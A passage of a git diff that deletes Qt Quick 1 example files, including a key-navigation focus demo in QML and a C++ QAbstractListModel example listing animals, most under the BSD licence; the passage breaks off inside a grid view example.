USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -FocusScope { - id: container - - property bool open: false - - Item { - anchors.fill: parent - - Rectangle { - anchors.fill: parent - color: "#D1DBBD" - focus: true - Keys.onRightPressed: mainView.focus = true - - Text { - anchors { top: parent.top; horizontalCenter: parent.horizontalCenter; margins: 30 } - color: "black" - font.pixelSize: 14 - text: "Context Menu" - } - } - } -} diff --git a/examples/declarative/qtquick1/keyinteraction/focus/Core/GridMenu.qml b/examples/declarative/qtquick1/keyinteraction/focus/Core/GridMenu.qml deleted file mode 100644 index 266ee075fc..0000000000 --- a/examples/declarative/qtquick1/keyinteraction/focus/Core/GridMenu.qml +++ /dev/null @@ -1,105 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -FocusScope { - property alias interactive: gridView.interactive - - onActiveFocusChanged: { - if (activeFocus) - mainView.state = "" - } - - Rectangle { - anchors.fill: parent - clip: true - gradient: Gradient { - GradientStop { position: 0.0; color: "#193441" } - GradientStop { position: 1.0; color: Qt.darker("#193441") } - } - - GridView { - id: gridView - anchors.fill: parent; anchors.leftMargin: 20; anchors.rightMargin: 20 - cellWidth: 152; cellHeight: 152 - focus: true - model: 12 - - KeyNavigation.down: listMenu - KeyNavigation.left: contextMenu - - delegate: Item { - id: container - width: GridView.view.cellWidth; height: GridView.view.cellHeight - - Rectangle { - id: content - color: "transparent" - smooth: true - anchors.fill: parent; anchors.margins: 20; radius: 10 - - Rectangle { color: "#91AA9D"; anchors.fill: parent; anchors.margins: 3; radius: 8; smooth: true } - Image { source: "images/qt-logo.png"; anchors.centerIn: parent; smooth: true } - } - - MouseArea { - id: mouseArea - anchors.fill: parent - hoverEnabled: true - - onClicked: { - GridView.view.currentIndex = index - container.forceActiveFocus() - } - } - - states: State { - name: "active"; when: container.activeFocus - PropertyChanges { target: content; color: "#FCFFF5"; scale: 1.1 } - } - - transitions: Transition { - NumberAnimation { properties: "scale"; duration: 100 } - } - } - } - } -} diff --git a/examples/declarative/qtquick1/keyinteraction/focus/Core/ListMenu.qml b/examples/declarative/qtquick1/keyinteraction/focus/Core/ListMenu.qml deleted file mode 100644 index 0ef3526617..0000000000 --- a/examples/declarative/qtquick1/keyinteraction/focus/Core/ListMenu.qml +++ /dev/null @@ -1,105 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -FocusScope { - clip: true - - onActiveFocusChanged: { - if (activeFocus) - mainView.state = "showListViews" - } - - ListView { - id: list1 - y: activeFocus ? 10 : 40; width: parent.width / 3; height: parent.height - 20 - focus: true - KeyNavigation.up: gridMenu; KeyNavigation.left: contextMenu; KeyNavigation.right: list2 - model: 10; cacheBuffer: 200 - delegate: ListViewDelegate {} - - Behavior on y { - NumberAnimation { duration: 600; easing.type: Easing.OutQuint } - } - } - - ListView { - id: list2 - y: activeFocus ? 10 : 40; x: parseInt(parent.width / 3); width: parent.width / 3; height: parent.height - 20 - KeyNavigation.up: gridMenu; KeyNavigation.left: list1; KeyNavigation.right: list3 - model: 10; cacheBuffer: 200 - delegate: ListViewDelegate {} - - Behavior on y { - NumberAnimation { duration: 600; easing.type: Easing.OutQuint } - } - } - - ListView { - id: list3 - y: activeFocus ? 10 : 40; x: parseInt(2 * parent.width / 3); width: parent.width / 3; height: parent.height - 20 - KeyNavigation.up: gridMenu; KeyNavigation.left: list2 - model: 10; cacheBuffer: 200 - delegate: ListViewDelegate {} - - Behavior on y { - NumberAnimation { duration: 600; easing.type: Easing.OutQuint } - } - } - - Rectangle { width: parent.width; height: 1; color: "#D1DBBD" } - - Rectangle { - y: 1; width: parent.width; height: 10 - gradient: Gradient { - GradientStop { position: 0.0; color: "#3E606F" } - GradientStop { position: 1.0; color: "transparent" } - } - } - - Rectangle { - y: parent.height - 10; width: parent.width; height: 10 - gradient: Gradient { - GradientStop { position: 1.0; color: "#3E606F" } - GradientStop { position: 0.0; color: "transparent" } - } - } -} diff --git a/examples/declarative/qtquick1/keyinteraction/focus/Core/ListViewDelegate.qml b/examples/declarative/qtquick1/keyinteraction/focus/Core/ListViewDelegate.qml deleted file mode 100644 index 12149d52a5..0000000000 --- a/examples/declarative/qtquick1/keyinteraction/focus/Core/ListViewDelegate.qml +++ /dev/null @@ -1,85 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - id: container - width: ListView.view.width; height: 60; anchors.leftMargin: 10; anchors.rightMargin: 10 - - Rectangle { - id: content - anchors.centerIn: parent; width: container.width - 40; height: container.height - 10 - color: "transparent" - smooth: true - radius: 10 - - Rectangle { anchors.fill: parent; anchors.margins: 3; color: "#91AA9D"; smooth: true; radius: 8 } - } - - Text { - id: label - anchors.centerIn: content - text: "List element " + (index + 1) - color: "#193441" - font.pixelSize: 14 - } - - MouseArea { - id: mouseArea - anchors.fill: parent - hoverEnabled: true - - onClicked: { - ListView.view.currentIndex = index - container.forceActiveFocus() - } - } - - states: State { - name: "active"; when: container.activeFocus - PropertyChanges { target: content; color: "#FCFFF5"; scale: 1.1 } - PropertyChanges { target: label; font.pixelSize: 16 } - } - - transitions: Transition { - NumberAnimation { properties: "scale"; duration: 100 } - } -} diff --git a/examples/declarative/qtquick1/keyinteraction/focus/Core/images/arrow.png b/examples/declarative/qtquick1/keyinteraction/focus/Core/images/arrow.png deleted file mode 100644 index 14978c2e56..0000000000 Binary files a/examples/declarative/qtquick1/keyinteraction/focus/Core/images/arrow.png and /dev/null differ diff --git a/examples/declarative/qtquick1/keyinteraction/focus/Core/images/qt-logo.png b/examples/declarative/qtquick1/keyinteraction/focus/Core/images/qt-logo.png deleted file mode 100644 index 14ddf2a028..0000000000 Binary files a/examples/declarative/qtquick1/keyinteraction/focus/Core/images/qt-logo.png and /dev/null differ diff --git a/examples/declarative/qtquick1/keyinteraction/focus/focus.qml b/examples/declarative/qtquick1/keyinteraction/focus/focus.qml deleted file mode 100644 index 41466f001d..0000000000 --- a/examples/declarative/qtquick1/keyinteraction/focus/focus.qml +++ /dev/null @@ -1,111 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "Core" - -Rectangle { - id: window - - width: 800; height: 480 - color: "#3E606F" - - FocusScope { - id: mainView - - width: parent.width; height: parent.height - focus: true - - GridMenu { - id: gridMenu - width: parent.width; height: 320 - - focus: true - interactive: parent.activeFocus - } - - ListMenu { - id: listMenu - y: 320; width: parent.width; height: 320 - } - - Rectangle { - id: shade - anchors.fill: parent - color: "black" - opacity: 0 - } - - states: State { - name: "showListViews" - PropertyChanges { target: gridMenu; y: -160 } - PropertyChanges { target: listMenu; y: 160 } - } - - transitions: Transition { - NumberAnimation { properties: "y"; duration: 600; easing.type: Easing.OutQuint } - } - } - - Image { - source: "Core/images/arrow.png" - rotation: 90 - anchors.verticalCenter: parent.verticalCenter - - MouseArea { - anchors.fill: parent; anchors.margins: -10 - onClicked: contextMenu.focus = true - } - } - - ContextMenu { id: contextMenu; x: -265; width: 260; height: parent.height } - - states: State { - name: "contextMenuOpen" - when: !mainView.activeFocus - PropertyChanges { target: contextMenu; x: 0; open: true } - PropertyChanges { target: mainView; x: 130 } - PropertyChanges { target: shade; opacity: 0.25 } - } - - transitions: Transition { - NumberAnimation { properties: "x,opacity"; duration: 600; easing.type: Easing.OutQuint } - } -} diff --git a/examples/declarative/qtquick1/keyinteraction/focus/focus.qmlproject b/examples/declarative/qtquick1/keyinteraction/focus/focus.qmlproject deleted file mode 100644 index 258a41a140..0000000000 --- a/examples/declarative/qtquick1/keyinteraction/focus/focus.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "focus.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/keyinteraction/keyinteraction.qmlproject b/examples/declarative/qtquick1/keyinteraction/keyinteraction.qmlproject deleted file mode 100644 index e678e5bf44..0000000000 --- a/examples/declarative/qtquick1/keyinteraction/keyinteraction.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "focus/focus.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/modelviews/abstractitemmodel/abstractitemmodel.pro b/examples/declarative/qtquick1/modelviews/abstractitemmodel/abstractitemmodel.pro deleted file mode 100644 index 760a8dca55..0000000000 --- a/examples/declarative/qtquick1/modelviews/abstractitemmodel/abstractitemmodel.pro +++ /dev/null @@ -1,8 +0,0 @@ -TEMPLATE = app - -QT += declarative qtquick1 - -RESOURCES += abstractitemmodel.qrc - -HEADERS = model.h -SOURCES = main.cpp model.cpp diff --git a/examples/declarative/qtquick1/modelviews/abstractitemmodel/abstractitemmodel.qrc b/examples/declarative/qtquick1/modelviews/abstractitemmodel/abstractitemmodel.qrc deleted file mode 100644 index 4ae861cb3d..0000000000 --- a/examples/declarative/qtquick1/modelviews/abstractitemmodel/abstractitemmodel.qrc +++ /dev/null @@ -1,6 +0,0 @@ - - - view.qml - - - diff --git a/examples/declarative/qtquick1/modelviews/abstractitemmodel/main.cpp b/examples/declarative/qtquick1/modelviews/abstractitemmodel/main.cpp deleted file mode 100644 index 7671fd8ca6..0000000000 --- a/examples/declarative/qtquick1/modelviews/abstractitemmodel/main.cpp +++ /dev/null @@ -1,66 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "model.h" -#include -#include - -#include - -//![0] -int main(int argc, char ** argv) -{ - QApplication app(argc, argv); - - AnimalModel model; - model.addAnimal(Animal("Wolf", "Medium")); - model.addAnimal(Animal("Polar bear", "Large")); - model.addAnimal(Animal("Quoll", "Small")); - - QDeclarativeView view; - QDeclarativeContext *ctxt = view.rootContext(); - ctxt->setContextProperty("myModel", &model); -//![0] - - view.setSource(QUrl("qrc:view.qml")); - view.show(); - - return app.exec(); -} - diff --git a/examples/declarative/qtquick1/modelviews/abstractitemmodel/model.cpp b/examples/declarative/qtquick1/modelviews/abstractitemmodel/model.cpp deleted file mode 100644 index 8f7649c0d4..0000000000 --- a/examples/declarative/qtquick1/modelviews/abstractitemmodel/model.cpp +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "model.h" - -Animal::Animal(const QString &type, const QString &size) - : m_type(type), m_size(size) -{ -} - -QString Animal::type() const -{ - return m_type; -} - -QString Animal::size() const -{ - return m_size; -} - -//![0] -AnimalModel::AnimalModel(QObject *parent) - : QAbstractListModel(parent) -{ - QHash roles; - roles[TypeRole] = "type"; - roles[SizeRole] = "size"; - setRoleNames(roles); -} -//![0] - -void AnimalModel::addAnimal(const Animal &animal) -{ - beginInsertRows(QModelIndex(), rowCount(), rowCount()); - m_animals << animal; - endInsertRows(); -} - -int AnimalModel::rowCount(const QModelIndex & parent) const { - return m_animals.count(); -} - -QVariant AnimalModel::data(const QModelIndex & index, int role) const { - if (index.row() < 0 || index.row() >= m_animals.count()) - return QVariant(); - - const Animal &animal = m_animals[index.row()]; - if (role == TypeRole) - return animal.type(); - else if (role == SizeRole) - return animal.size(); - return QVariant(); -} - diff --git a/examples/declarative/qtquick1/modelviews/abstractitemmodel/model.h b/examples/declarative/qtquick1/modelviews/abstractitemmodel/model.h deleted file mode 100644 index 48558072a7..0000000000 --- a/examples/declarative/qtquick1/modelviews/abstractitemmodel/model.h +++ /dev/null @@ -1,83 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -//![0] -class Animal -{ -public: - Animal(const QString &type, const QString &size); -//![0] - - QString type() const; - QString size() const; - -private: - QString m_type; - QString m_size; -//![1] -}; - -class AnimalModel : public QAbstractListModel -{ - Q_OBJECT -public: - enum AnimalRoles { - TypeRole = Qt::UserRole + 1, - SizeRole - }; - - AnimalModel(QObject *parent = 0); -//![1] - - void addAnimal(const Animal &animal); - - int rowCount(const QModelIndex & parent = QModelIndex()) const; - - QVariant data(const QModelIndex & index, int role = Qt::DisplayRole) const; - -private: - QList m_animals; -//![2] -}; -//![2] - - diff --git a/examples/declarative/qtquick1/modelviews/abstractitemmodel/view.qml b/examples/declarative/qtquick1/modelviews/abstractitemmodel/view.qml deleted file mode 100644 index ada3f198ac..0000000000 --- a/examples/declarative/qtquick1/modelviews/abstractitemmodel/view.qml +++ /dev/null @@ -1,51 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -//![0] -ListView { - width: 200; height: 250 - anchors.fill: parent - - model: myModel - delegate: Text { text: "Animal: " + type + ", " + size } -} -//![0] - diff --git a/examples/declarative/qtquick1/modelviews/gridview/gridview-example.qml b/examples/declarative/qtquick1/modelviews/gridview/gridview-example.qml deleted file mode 100644 index a5d6f3fa52..0000000000 --- a/examples/declarative/qtquick1/modelviews/gridview/gridview-example.qml +++ /dev/null @@ -1,89 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 300; height: 400 - color: "white" - - ListModel { - id: 